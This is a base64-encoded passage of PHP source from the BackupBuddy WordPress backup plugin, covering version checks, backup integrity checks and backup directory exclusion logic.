RmdW5jdGlvbl90aXRsZSA9ICdDb3B5aW5nIG1lZGlhJzsKCQl9IGVsc2VpZiAoICdtc19jb3B5X3VzZXJzX3RhYmxlJyA9PT0gJGZ1bmN0aW9uICkgewoJCQkkZnVuY3Rpb25fdGl0bGUgPSAnQ29weWluZyB1c2Vycyc7CgkJfSBlbHNlaWYgKCAnbXNfY2xlYW51cCcgPT09ICRmdW5jdGlvbiApIHsKCQkJJGZ1bmN0aW9uX3RpdGxlID0gJ0NsZWFuaW5nIHVwIE11bHRpc2l0ZS1zcGVjaWZpYyB0ZW1wb3JhcnkgZGF0YSc7CgkJfSBlbHNlIHsKCQkJLy8gQXR0ZW1wdCB0byBwcmV0dGlmeSBhdXRvbWF0aWNhbGx5LgoJCQkkZnVuY3Rpb25fdGl0bGUgPSB1Y3dvcmRzKCBzdHJfcmVwbGFjZSggJ18nLCAnICcsICRmdW5jdGlvbiApICk7CgkJfQoKCQlyZXR1cm4gJGZ1bmN0aW9uX3RpdGxlOwoJfSAvLyBlbmQgcHJldHR5RnVuY3Rpb25UaXRsZSgpLgoKCgkvKioKCSAqIFJldHVybnMgYSBib29sZWFuIGluZGljYXRpbmcgd2hldGhlciBhIHBsdWdpbiBpcyBuZXR3b3JrIGFjdGl2YXRlZCBvciBub3QuCgkgKgoJICogQHJldHVybiBib29sICBUcnVlIGlmIHBsdWdpbiBpcyBuZXR3b3JrIGFjdGl2YXRlZCwgZWxzZSBmYWxzZS4KCSAqLwoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBpc19uZXR3b3JrX2FjdGl2YXRlZCgpIHsKCgkJaWYgKCAhIGZ1bmN0aW9uX2V4aXN0cyggJ2lzX3BsdWdpbl9hY3RpdmVfZm9yX25ldHdvcmsnICkgKSB7IC8vIEZ1bmN0aW9uIGlzIG5vdCBhdmFpbGFibGUgb24gYWxsIFdvcmRQcmVzcyBwYWdlcyBmb3Igc29tZSByZWFzb24gYWNjb3JkaW5nIHRvIGNvZGV4LgoJCQlyZXF1aXJlX29uY2UgQUJTUEFUSCAuICcvd3AtYWRtaW4vaW5jbHVkZXMvcGx1Z2luLnBocCc7CgkJfQoJCWlmICggaXNfcGx1Z2luX2FjdGl2ZV9mb3JfbmV0d29yayggYmFzZW5hbWUoIHBiX2JhY2t1cGJ1ZGR5OjpwbHVnaW5fcGF0aCgpICkgLiAnLycgLiBwYl9iYWNrdXBidWRkeTo6c2V0dGluZ3MoICdpbml0JyApICkgKSB7IC8vIFBhdGggcmVsYXRpdmUgdG8gd3AtY29udGVudFxwbHVnaW5zXCBkaXJlY3RvcnkuCgkJCXJldHVybiB0cnVlOwoJCX0gZWxzZSB7CgkJCXJldHVybiBmYWxzZTsKCQl9CgoJfSAvLyBFbmQgaXNfbmV0d29ya19hY3RpdmF0ZWQoKS4KCgoJLyoqCgkgKiBJbnRlZ3JpdHkgQ2hlY2sKCSAqCgkgKiBTY2FucyBhIGJhY2t1cCBmaWxlIGFuZCBzYXZlcyB0aGUgcmVzdWx0IGluIGRhdGEgc3RydWN0dXJlLiBDaGVja3MgZm9yIGtleSBmaWxlcyAmIHRoYXQgLnppcCBjYW4gYmUgcmVhZCBwcm9wZXJseS4gU3RvcmVzIHJlc3VsdHMgd2l0aCBkZXRhaWxzIGluIGRhdGEgc3RydWN0dXJlLgoJICoKCSAqIEBwYXJhbSBzdHJpbmcgJGZpbGUgICAgICAgICAgICAgICBGdWxsIHBhdGhuYW1lICYgZmlsZW5hbWUgdG8gYmFja3VwIGZpbGUgdG8gY2hlY2suCgkgKiBAcGFyYW0gb2JqICAgICRmaWxlb3B0aW9ucyAgICAgICAgRmlsZW9wdGlvbnMgb2JqZWN0IGN1cnJlbnRseSBob2xkaW5nIHRoZSBmaWxlb3B0aW9ucyBmaWxlIG9wZW4sIGlmIGFueS4KCSAqIEBwYXJhbSBhcnJheSAgJG9wdGlvbnMgICAgICAgICAgICBBcnJheSBvZiBvcHRpb25zLgoJICogQHBhcmFtIGJvb2wgICAkc2tpcF9sb2dfcmVkaXJlY3QgIFNraXAgbG9nIHJlZGlyZWN0LgoJICoKCSAqIEByZXR1cm4gYXJyYXkgIFJldHVybnMgaW50ZWdyaXR5IGRhdGEgYXJyYXkuCgkgKi8KCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gYmFja3VwX2ludGVncml0eV9jaGVjayggJGZpbGUsICRmaWxlb3B0aW9ucyA9ICcnLCAkb3B0aW9ucyA9IGFycmF5KCksICRza2lwX2xvZ19yZWRpcmVjdCA9IGZhbHNlICkgewoJCWluY2x1ZGVfb25jZSAnaW50ZWdyaXR5X2NoZWNrLnBocCc7CgkJJGNoZWNrID0gbmV3IGJhY2t1cGJ1ZGR5X2ludGVncml0eV9jaGVjayggJGZpbGUsICRmaWxlb3B0aW9ucywgJG9wdGlvbnMsICRza2lwX2xvZ19yZWRpcmVjdCApOwoJCXJldHVybiAkY2hlY2stPmludGVncml0eV9hcnJheTsKCX0gLy8gRW5kIGJhY2t1cF9pbnRlZ3JpdHlfY2hlY2soKS4KCgoJLyoqCgkgKiBSZXR1cm5zIHRoZSBiYWNrdXAgc2VyaWFsIGJhc2VkIG9uIHRoZSBmaWxlbmFtZS4KCSAqCgkgKiBAcGFyYW0gc3RyaW5nICRmaWxlICBGaWxlbmFtZSBjb250YWluaW5nIGEgc2VyaWFsIHRvIGV4dHJhY3QuCgkgKgoJICogQHJldHVybiBzdHJpbmcgIFNlcmlhbCBmb3VuZC4gRW1wdHkgc3RyaW5nIGlmIHVuYWJsZSB0byBmaW5kIHNlcmlhbC4KCSAqLwoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBnZXRfc2VyaWFsX2Zyb21fZmlsZSggJGZpbGUgKSB7CgkJJGRhc2hwb3MgPSBzdHJycG9zKCAkZmlsZSwgJy0nICk7CgkJaWYgKCBmYWxzZSA9PT0gJGRhc2hwb3MgKSB7CgkJCXJldHVybiAnJzsKCQl9CgkJJHNlcmlhbCA9ICRkYXNocG9zICsgMTsKCQkkc2VyaWFsID0gc3Vic3RyKCAkZmlsZSwgJHNlcmlhbCwgKCBzdHJsZW4oICRmaWxlICkgLSAkc2VyaWFsIC0gNCApICk7CgkJJHNlcmlhbCA9IHRyaW0oICRzZXJpYWwgKTsgLy8gVHJpbSBhbnkgcG90ZW50aWFsIHdoaXRlc3BhY2UuCgoJCXJldHVybiAkc2VyaWFsOwoKCX0gLy8gRW5kIGdldF9zZXJpYWxfZnJvbV9maWxlKCkuCgoKCS8qKgoJICogQ2hlY2sgdGhlIHZlcnNpb24gb2YgYW4gaXRlbSBhbmQgY29tcGFyZSBpdCB0byB0aGUgbWluaW11bSByZXF1aXJlbWVudHMgQmFja3VwQnVkZHkgcmVxdWlyZXMuCgkgKgoJICogQHBhcmFtIHN0cmluZyAkdHlwZSAgICBPcHRpb25hbC4gSWYgbGVmdCBibGFuayAnJyB0aGVuIGFsbCB0ZXN0cyB3aWxsIGJlIHBlcmZvcm1lZC4gVmFsaWQgdmFsdWVzOiBXb3JkUHJlc3MsIHBocCwgJycuCgkgKiBAcGFyYW0gYm9vbCAgICRub3RpZnkgIE9wdGlvbmFsLiBXaGV0aGVyIG9yIG5vdCB0byBhbGVydCB0byB0aGUgc2NyZWVuIChhbmQgdGhyb3cgZXJyb3IgdG8gbG9nKSBvZiBhIHZlcnNpb24gaXNzdWUuCgkgKgoJICogQHJldHVybiBib29sICBUcnVlIGlmIHRoZSBzZWxlY3RlZCB0eXBlIGlzIGEgYmFkIHZlcnNpb24KCSAqLwoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiB2ZXJzaW9uc19jb25maXJtKCAkdHlwZSA9ICcnLCAkbm90aWZ5ID0gZmFsc2UgKSB7CgoJCSRiYWRfdmVyc2lvbiA9IGZhbHNlOwoKCQlpZiAoICd3b3JkcHJlc3MnID09ICR0eXBlIHx8ICcnID09ICR0eXBlICkgeyAvLyBAY29kaW5nU3RhbmRhcmRzSWdub3JlTGluZTogU2hvdWxkIGJlIGFsbCBsb3dlcmNhc2UgaGVyZS4KCQkJZ2xvYmFsICR3cF92ZXJzaW9uOwoJCQlpZiAoIHZlcnNpb25fY29tcGFyZSggJHdwX3ZlcnNpb24sIHBiX2JhY2t1cGJ1ZGR5OjpzZXR0aW5ncyggJ3dwX21pbmltdW0nICksICc8PScgKSApIHsKCQkJCWlmICggdHJ1ZSA9PT0gJG5vdGlmeSApIHsKCQkJCQlwYl9iYWNrdXBidWRkeTo6YWxlcnQoIHNwcmludGYoIF9fKCAnRVJST1I6IEJhY2t1cEJ1ZGR5IHJlcXVpcmVzIFdvcmRQcmVzcyB2ZXJzaW9uICUxJHMgb3IgaGlnaGVyLiBZb3UgbWF5IGV4cGVyaWVuY2UgdW5leHBlY3RlZCBiZWhhdmlvciBvciBjb21wbGV0ZSBmYWlsdXJlIGluIHRoaXMgZW52aXJvbm1lbnQuIFBsZWFzZSBjb25zaWRlciB1cGdyYWRpbmcgV29yZFByZXNzLicsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLCBzZWxmOjpfd3BfbWluaW11bSApICk7CgkJCQkJcGJfYmFja3VwYnVkZHk6OmxvZyggJ1Vuc3VwcG9ydGVkIFdvcmRQcmVzcyBWZXJzaW9uOiAnIC4gJHdwX3ZlcnNpb24sICdlcnJvcicgKTsKCQkJCX0KCQkJCSRiYWRfdmVyc2lvbiA9IHRydWU7CgkJCX0KCQl9CgkJaWYgKCAncGhwJyA9PT0gJHR5cGUgfHwgJycgPT0gJHR5cGUgKSB7CgkJCWlmICggdmVyc2lvbl9jb21wYXJlKCBQSFBfVkVSU0lPTiwgcGJfYmFja3VwYnVkZHk6OnNldHRpbmdzKCAncGhwX21pbmltdW0nICksICc8PScgKSApIHsKCQkJCWlmICggdHJ1ZSA9PT0gJG5vdGlmeSApIHsKCQkJCQlwYl9iYWNrdXBidWRkeTo6YWxlcnQoIHNwcmludGYoIF9fKCAnRVJST1I6IEJhY2t1cEJ1ZGR5IHJlcXVpcmVzIFBIUCB2ZXJzaW9uICUxJHMgb3IgaGlnaGVyLiBZb3UgbWF5IGV4cGVyaWVuY2UgdW5leHBlY3RlZCBiZWhhdmlvciBvciBjb21wbGV0ZSBmYWlsdXJlIGluIHRoaXMgZW52aXJvbm1lbnQuIFBsZWFzZSBjb25zaWRlciB1cGdyYWRpbmcgUEhQLicsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLCBQSFBfVkVSU0lPTiApICk7CgkJCQkJcGJfYmFja3VwYnVkZHk6OmxvZyggJ1Vuc3VwcG9ydGVkIFBIUCBWZXJzaW9uOiAnIC4gUEhQX1ZFUlNJT04sICdlcnJvcicgKTsKCQkJCX0KCQkJCSRiYWRfdmVyc2lvbiA9IHRydWU7CgkJCX0KCQl9CgoJCXJldHVybiAkYmFkX3ZlcnNpb247CgoJfSAvLyBFbmQgdmVyc2lvbnNfY29uZmlybSgpLgoKCS8qKgoJICogUmV0cmlldmUgZGlyZWN0b3J5IGZvciBzdG9yaW5nIGJhY2t1cHMgd2l0aGluLgoJICoKCSAqIEByZXR1cm4gc3RyaW5nICBGdWxsIHBhdGggdG8gZGlyZWN0b3J5LCBpbmNsdWRpbmcgdHJhaWxpbmcgc2xhc2guCgkgKi8KCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZ2V0QmFja3VwRGlyZWN0b3J5KCkgewoJCWlmICggJycgPT0gcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWydiYWNrdXBfZGlyZWN0b3J5J10gKSB7CgkJCSRkaXIgPSBzZWxmOjpfZ2V0QmFja3VwRGlyZWN0b3J5RGVmYXVsdCgpOwoJCX0gZWxzZSB7CgkJCSRkaXIgPSBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ2JhY2t1cF9kaXJlY3RvcnknXTsKCQl9CgkJcmV0dXJuICRkaXI7Cgl9CgoJLyoqCgkgKiBSZXRyaWV2ZSBkaXJlY3RvcnkgZm9yIHN0b3JpbmcgbG9ncyB3aXRoaW4uIENhY2hlZC4KCSAqCgkgKiBAcmV0dXJuIHN0cmluZyAgRnVsbCBwYXRoIHRvIGRpcmVjdG9yeSwgaW5jbHVkaW5nIHRyYWlsaW5nIHNsYXNoLgoJICovCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGdldExvZ0RpcmVjdG9yeSgpIHsKCQlpZiAoICcnICE9IHNlbGY6OiRfY2FjaGVkTG9nRGlyZWN0b3J5ICkgewoJCQlyZXR1cm4gc2VsZjo6JF9jYWNoZWRMb2dEaXJlY3Rvcnk7CgkJfQoJCWlmICggcGJfaXNfc3RhbmRhbG9uZSgpICkgewoJCQlyZXR1cm4gQUJTUEFUSCAuICdpbXBvcnRidWRkeS8nOwoJCX0KCgkJJHVwbG9hZHNfZGlycyAgICAgICAgICAgICAgPSB3cF91cGxvYWRfZGlyKCk7CgkJc2VsZjo6JF9jYWNoZWRMb2dEaXJlY3RvcnkgPSAkdXBsb2Fkc19kaXJzWydiYXNlZGlyJ10gLiAnL3BiX2JhY2t1cGJ1ZGR5Lyc7CgoJCXJldHVybiBzZWxmOjokX2NhY2hlZExvZ0RpcmVjdG9yeTsKCX0gLy8gRW5kIGdldExvZ0RpcmVjdG9yeSgpLgoKCgkvKioKCSAqIFJldHJpZXZlIHRlbXBvcmFyeSBkaXJlY3RvcnkgZm9yIHN0b3JpbmcgdGVtcG9yYXJ5IGZpbGVzIHdpdGhpbi4KCSAqCgkgKiBAcmV0dXJuIHN0cmluZyAgRnVsbCBwYXRoIHRvIGRpcmVjdG9yeSwgaW5jbHVkaW5nIHRyYWlsaW5nIHNsYXNoLgoJICovCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGdldFRlbXBEaXJlY3RvcnkoKSB7CgkJLy8gVE9ETzogU2hvdWxkIHRoaXMgdXNlIHdwX3VwbG9hZF9kaXIoKT8KCQlyZXR1cm4gQUJTUEFUSCAuICd3cC1jb250ZW50L3VwbG9hZHMvYmFja3VwYnVkZHlfdGVtcC8nOwoJfSAvLyBFbmQgZ2V0VGVtcERpcmVjdG9yeSgpLgoKCgkvKioKCSAqIERlZmF1bHQgZGlyZWN0b3J5IGJhY2t1cHMgd2lsbCBiZSBzdG9yZWQgaW4uIGdldEJhY2t1cERpcmVjdG9yeSgpIHVzZXMgdGhpcyBhcyB0aGUgZGVmYXVsdCBpZiBubyBwYXRoIGlzIHNwZWNpZmljYWxseSBzZXQuCgkgKgoJICogQHJldHVybiBzdHJpbmcgIEZ1bGwgcGF0aCB0byBkaXJlY3RvcnksIGluY2x1ZGluZyB0cmFpbGluZyBzbGFzaC4KCSAqLwoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBfZ2V0QmFja3VwRGlyZWN0b3J5RGVmYXVsdCgpIHsKCQlpZiAoIGRlZmluZWQoICdQQl9JTVBPUlRCVUREWScgKSAmJiB0cnVlID09PSBQQl9JTVBPUlRCVUREWSApIHsKCQkJcmV0dXJuIEFCU1BBVEg7CgkJfQoJCSR1cGxvYWRzX2RpcnMgPSB3cF91cGxvYWRfZGlyKCk7CgkJcmV0dXJuICR1cGxvYWRzX2RpcnNbJ2Jhc2VkaXInXSAuICcvYmFja3VwYnVkZHlfYmFja3Vwcy8nOwoJfSAvLyBFbmQgX2dldEJhY2t1cERpcmVjdG9yeURlZmF1bHQoKS4KCgoJLyoqCgkgKiBUYWtlcyBhIHByb2ZpbGUgY3VzdG9tIHJvb3QgcGF0aCBhbmQgbm9ybWFsaXplcyBpdCwgdGFraW5nIGludG8gYWNjb3VudCAvLi8sIC8uLi8sIGV0Yy4KCSAqCgkgKiBAcGFyYW0gc3RyaW5nICRwYXRoICBBZGRpdGlvbmFsIHBhdGggZnJvbSByb290LgoJICoKCSAqIEByZXR1cm4gc3RyaW5nICBGdWxsIG5vcm1hbGl6ZWQgY3VzdG9tIHBhdGggZnJvbSByb290LgoJICovCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGdldF9ub3JtYWxpemVkX2N1c3RvbV9yb290KCAkcGF0aCApIHsKCQlyZXR1cm4gcmVhbHBhdGgoIEFCU1BBVEggLiAkcGF0aCApIC4gJy8nOwoJfSAvLyBnZXRfbm9ybWFsaXplZF9jdXN0b21fcm9vdCgpLgoKCgkvKioKCSAqIEdldCBzYW5pdGl6ZWQgZGlyZWN0b3J5IGV4Y2x1c2lvbnMuIEV4Y2x1c2lvbnMgYXJlIHJlbGF0aXZlIHRvIHNpdGUgcm9vdCAoQUJTUEFUSCkuIFNlZSBpbXBvcnRhbnQgbm90ZSBiZWxvdyEKCSAqCgkgKiBJTVBPUlRBTlQgTk9URTogQ2Fubm90IGV4Y2x1ZGUgdGhlIHRlbXAgZGlyZWN0b3J5IGhlcmUgYXMgdGhpcyBpcyB3aGVyZSBTUUwgYW5kIERBVCBmaWxlcyBhcmUgc3RvcmVkIGZvciBpbmNsdXNpb24gaW4gdGhlIGJhY2t1cCBhcmNoaXZlLgoJICoKCSAqIEBwYXJhbSBhcnJheSAgJHByb2ZpbGUgICAgICBQcm9maWxlIGFycmF5IG9mIGRhdGEuIEtleSAnZXhjbHVkZXMnIGNhbiBiZSBhcnJheSBvciBuZXdsaW5lLWRlbGltaW5hdGVkIHN0cmluZy4KCSAqIEBwYXJhbSBib29sICAgJHRyaW1fc3VmZml4ICBUcnVlIChkZWZhdWx0KSBpZiB0cmFpbGluZyBzbGFzaCBzaG91bGQgYmUgdHJpbW1lZCBmcm9tIGRpcmVjdG9yaWVzLgoJICogQHBhcmFtIHN0cmluZyAkc2VyaWFsICAgICAgIE9wdGlvbmFsIHNlcmlhbCBvZiBjdXJyZW50IGJhY2t1cC4gQnkgZGVmYXVsdCBhbGwgc3ViZGlyZWN0b3JpZXMgd2l0aGluIHRoZSBiYWNrdXBidWRkeV90ZW1wIGRpciBhcmUgZXhwbGljaXRseSBleGNsdWRlZC4gU3BlY2lmeWluZyBhbGxvd3MgdGhpcyBzZXJpYWwgc3ViZGlyZWN0b3J5IHRvIG5vdCBiZSBleGNsdWRlZC4KCSAqCgkgKiBAcmV0dXJuIGFycmF5ICBBcnJheSBvZiBkaXJlY3RvcmllcyB0byBleGNsdWRlLgoJICovCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGdldF9kaXJlY3RvcnlfZXhjbHVzaW9ucyggJHByb2ZpbGUsICR0cmltX3N1ZmZpeCA9IHRydWUsICRzZXJpYWwgPSAnJyApIHsKCQkkcHJvZmlsZSA9IGFycmF5X21lcmdlKCBwYl9iYWNrdXBidWRkeTo6c2V0dGluZ3MoICdwcm9maWxlX2RlZmF1bHRzJyApLCAkcHJvZmlsZSApOwoKCQkvLyBObyB0cmFpbGluZyBzbGFzaCAkYWJzcGF0aC4KCQkkYWJzcGF0aCA9IHJ0cmltKCBBQlNQQVRILCAnLycgKTsKCgkJLy8gQ3VzdG9tIHJvb3QgKGlmIGFueSkuCgkJJGJhY2t1cF9yb290ID0gQUJTUEFUSDsgLy8gRGVmYXVsdCByb290LgoJCWlmICggaXNzZXQoICRwcm9maWxlWydjdXN0b21fcm9vdCddICkgJiYgJycgIT0gJHByb2ZpbGVbJ2N1c3RvbV9yb290J10gKSB7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0V4Y2x1c2lvbiBjdXN0b20gcm9vdCAocmF3KTogJyAuICRwcm9maWxlWydjdXN0b21fcm9vdCddICk7CgkJCSRiYWNrdXBfcm9vdCA9IGJhY2t1cGJ1ZGR5X2NvcmU6OmdldF9ub3JtYWxpemVkX2N1c3RvbV9yb290KCAkcHJvZmlsZVsnY3VzdG9tX3Jvb3QnXSApOwoJCX0KCgkJLy8gSGFuZGxlIHNtYXJ0IHByb2ZpbGUgdHlwZXMuCgkJaWYgKCAnbWVkaWEnID09PSAkcHJvZmlsZVsndHlwZSddICkgewoJCQkkYmFja3VwX3Jvb3QgPSBiYWNrdXBidWRkeV9jb3JlOjpnZXRfbWVkaWFfcm9vdCgpOwoJCX0gZWxzZWlmICggJ3RoZW1lcycgPT09ICRwcm9maWxlWyd0eXBlJ10gKSB7CgkJCSRiYWNrdXBfcm9vdCA9IGJhY2t1cGJ1ZGR5X2NvcmU6OmdldF90aGVtZXNfcm9vdCgpOwoJCX0gZWxzZWlmICggJ3BsdWdpbnMnID09PSAkcHJvZmlsZVsndHlwZSddICkgewoJCQkkYmFja3VwX3Jvb3QgPSBiYWNrdXBidWRkeV9jb3JlOjpnZXRfcGx1Z2luc19yb290KCk7CgkJfQoKCQkkZXhjbHVkZXMgPSBhcnJheSgpOwoKCQkvLyBIYXJkY29kZWQgZXhjbHVzaW9ucywgcmVsYXRpdmUgdG8gJGFic3BhdGguCgkJZm9yZWFjaCAoIGJhY2t1cGJ1ZGR5X2NvbnN0YW50czo6JEhBUkRDT0RFRF9ESVJfRVhDTFVTSU9OUyBhcyAkZXhjbHVzaW9uICkgewoJCQkkZXhjbHVkZXNbXSA9ICRhYnNwYXRoIC4gJGV4Y2x1c2lvbjsKCQl9CgoJCS8vIEJhY2t1cCBzdG9yYWdlIGRpcmVjdG9yeS4KCQkkZXhjbHVkZXNbXSA9IHNlbGY6OmdldEJhY2t1cERpcmVjdG9yeSgpOwoKCQkvLyBMb2cgZGlyZWN0b3J5LgoJCSRleGNsdWRlc1tdID0gc2VsZjo6Z2V0TG9nRGlyZWN0b3J5KCk7CgoJCS8vIE1lZGlhL3RoZW1lcy9wbHVnaW5zIGV4Y2x1ZGVkIG9wdGlvbi4KCQlpZiAoIGlzc2V0KCAkcHJvZmlsZVsnZXhjbHVkZV9tZWRpYSddICkgJiYgJzEnID09ICRwcm9maWxlWydleGNsdWRlX21lZGlhJ10gKSB7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgX18oICdFeGNsdWRpbmcgbWVkaWEgZGlyZWN0b3JpZXMuJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgKTsKCQkJJGV4Y2x1ZGVzW10gPSBiYWNrdXBidWRkeV9jb3JlOjpnZXRfbWVkaWFfcm9vdCgpOwoJCX0KCQlpZiAoIGlzc2V0KCAkcHJvZmlsZVsnZXhjbHVkZV90aGVtZXMnXSApICYmICcxJyA9PSAkcHJvZmlsZVsnZXhjbHVkZV90aGVtZXMnXSApIHsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXyggJ0V4Y2x1ZGluZyB0aGVtZSBkaXJlY3Rvcmllcy4nLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoJCQkkZXhjbHVkZXNbXSA9IGJhY2t1cGJ1ZGR5X2NvcmU6OmdldF90aGVtZXNfcm9vdCgpOwoJCX0KCQlpZiAoIGlzc2V0KCAkcHJvZmlsZVsnZXhjbHVkZV9wbHVnaW5zJ10gKSAmJiAnMScgPT0gJHByb2ZpbGVbJ2V4Y2x1ZGVfcGx1Z2lucyddICkgewoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCAnRXhjbHVkaW5nIHBsdWdpbiBkaXJlY3Rvcmllcy4nLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoJCQkkZXhjbHVkZXNbXSA9IGJhY2t1cGJ1ZGR5X2NvcmU6OmdldF9wbHVnaW5zX3Jvb3QoKTsKCQl9IGVsc2VpZiAoIGlzc2V0KCAkcHJvZmlsZVsnYWN0aXZlX3BsdWdpbnNfb25seSddICkgJiYgJzEnID09PSAkcHJvZmlsZVsnYWN0aXZlX3BsdWdpbnNfb25seSddICkgewoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCAnRXhjbHVkaW5nIGluYWN0aXZlIHBsdWdpbiBkaXJlY3Rvcmllcy4nLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoJCQkkZXhjbHVkZXMgPSBhcnJheV9tZXJnZSggJGV4Y2x1ZGVzLCBiYWNrdXBidWRkeV9jb3JlOjpnZXRfaW5hY3RpdmVfcGx1Z2lucygpICk7CgkJfQoKCQkvLyBFeGNsdWRlIGFsbCB0ZW1wIGRpcmVjdG9yaWVzIHdpdGhpbiBiYWNrdXBidWRkeV90ZW1wLCBleGNlcHQgYW55IHN1YmRpcmVjdG9yaWVzIGNvbnRhaW5pbmcgdGhlIHNlcmlhbCBzcGVjaWZpZWQgKGlmIGFueSkuCgkJJHRlbXBfZGlycyA9IEBnbG9iKCBzZWxmOjpnZXRUZW1wRGlyZWN0b3J5KCkgLiAnKicsIEdMT0JfT05MWURJUiApOwoJCWlmICggISBpc19hcnJheSggJHRlbXBfZGlycyApICkgewoJCQkkdGVtcF9kaXJzID0gYXJyYXkoKTsKCQl9CgkJZm9yZWFjaCAoICR0ZW1wX2RpcnMgYXMgJHRlbXBfZGlyICkgewoJCQlpZiAoICcnID09ICRzZXJpYWwgfHwgZmFsc2UgPT09IHN0cnN0ciggJHRlbXBfZGlyLCAkc2VyaWFsICkgKSB7IC8vIElmIG5vIHNwZWNpZmljIHNlcmlhbCBzdXBwbGllZCBPUiB0aGlzIGRpciBkb2VzIG5vdCBjb250YWluIHRoZSBzZXJpYWwsIGV4Y2x1ZGUgaXQuCgkJCQlpZiAoICcvJyAhPSBzdWJzdHIoICR0ZW1wX2RpciwgLTEgKSApIHsKCQkJCQkkdGVtcF9kaXIgPSAkdGVtcF9kaXIgLiAnLyc7CgkJCQl9CgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdFeGNsdWRpbmcgYWRkaXRpb25hbCB0ZW1wIGRpcmVjdG9yeSBzdWJkaXI6IGAnIC4gJHRlbXBfZGlyIC4gJ2AuJyApOwoJCQkJJGV4Y2x1ZGVzW10gPSAkdGVtcF9kaXI7CgkJCX0KCQl9CgoJCS8vIFByb2ZpbGUtc3BlY2lmaWMgT1IgZ2xvYmFsIGV4Y2x1ZGVzLgoJCWlmICggISBpc19hcnJheSggJHByb2ZpbGVbJ2V4Y2x1ZGVzJ10gKSApIHsKCQkJJHByb2ZpbGVfZXhjbHVzaW9ucyA9IHRyaW0oICRwcm9maWxlWydleGNsdWRlcyddICk7IC8vIFRyaW0gc3RyaW5nLgoJCQlpZiAoICctMScgPT0gJHByb2ZpbGVfZXhjbHVzaW9ucyApIHsgLy8gVXNlIGRlZmF1bHQgZ2xvYmFsIGV4Y2x1c2lvbnMgaW5zdGVhZCBvZiBwcm9maWxlLgoJCQkJJHByb2ZpbGVfZXhjbHVzaW9ucyA9IHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1sncHJvZmlsZXMnXVswXVsnZXhjbHVkZXMnXTsKCQkJCSRwcm9maWxlX2V4Y2x1c2lvbnMgPSBwcmVnX3NwbGl0KCAnL1xufFxyfFxyXG4vJywgJHByb2ZpbGVfZXhjbHVzaW9ucyApOyAvLyBCcmVhayBpbnRvIGFycmF5IG9uIGFueSB0eXBlIG9mIGxpbmUgZW5kaW5nLgoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnUHJvZmlsZSBpbmhlcml0aW5nIGdsb2JhbCBleGNsdXNpb25zLicgKTsKCQkJCWZvcmVhY2ggKCAkcHJvZmlsZV9leGNsdXNpb25zIGFzICYkcHJvZmlsZV9leGNsdXNpb24gKSB7IC8vIEhhbmRsZSBwb3NzaWJsZSBwYXRoIGFib3NlICRhYnNwYXRoIGluIGN1c3RvbSByb290LgoJCQkJCSRwcm9maWxlX2V4Y2x1c2lvbiA9IHRyaW0oICRwcm9maWxlX2V4Y2x1c2lvbiApOwoJCQkJCWlmICggJycgPT09ICRwcm9maWxlX2V4Y2x1c2lvbiApIHsKCQkJCQkJY29udGludWU7CgkJCQkJfQoJCQkJCSRwcm9maWxlX2V4Y2x1c2lvbiA9ICRhYnNwYXRoIC4gJHByb2ZpbGVfZXhjbHVzaW9uOwoJCQkJfQoJCQl9IGVsc2UgewoJCQkJJHByb2ZpbGVfZXhjbHVzaW9ucyA9IHByZWdfc3BsaXQoICcvXG58XHJ8XHJcbi8nLCAkcHJvZmlsZV9leGNsdXNpb25zICk7IC8vIEJyZWFrIGludG8gYXJyYXkgb24gYW55IHR5cGUgb2YgbGluZSBlbmRpbmcuCgkJCQlmb3JlYWNoICggJHByb2ZpbGVfZXhjbHVzaW9ucyBhcyAmJHByb2ZpbGVfZXhjbHVzaW9uICkgewoJCQkJCWlmICggJycgPT0gJHByb2ZpbGVfZXhjbHVzaW9uICkgewoJCQkJCQljb250aW51ZTsKCQkJCQl9CgkJCQkJJHByb2ZpbGVfZXhjbHVzaW9uID0gcnRyaW0oICRiYWNrdXBfcm9vdCwgJy8nICkgLiAkcHJvZmlsZV9leGNsdXNpb247CgkJCQl9CgkJCX0KCQl9IGVsc2UgewoJCQkkcHJvZmlsZV9leGNsdXNpb25zID0gJHByb2ZpbGVbJ2V4Y2x1ZGVzJ107CgkJCWZvcmVhY2ggKCAkcHJvZmlsZV9leGNsdXNpb25zIGFzICYkcHJvZmlsZV9leGNsdXNpb24gKSB7IC8vIEhhbmRsZSBwb3NzaWJsZSBwYXRoIGFib3NlICRhYnNwYXRoIGluIGN1c3RvbSByb290LgoJCQkJJHByb2ZpbGVfZXhjbHVzaW9uID0gdHJpbSggJHByb2ZpbGVfZXhjbHVzaW9uICk7CgkJCQlpZiAoICcnID09PSAkcHJvZmlsZV9leGNsdXNpb24gKSB7CgkJCQkJY29udGludWU7CgkJCQl9CgkJCQkkcHJvZmlsZV9leGNsdXNpb24gPSAkYWJzcGF0aCAuICRwcm9maWxlX2V4Y2x1c2l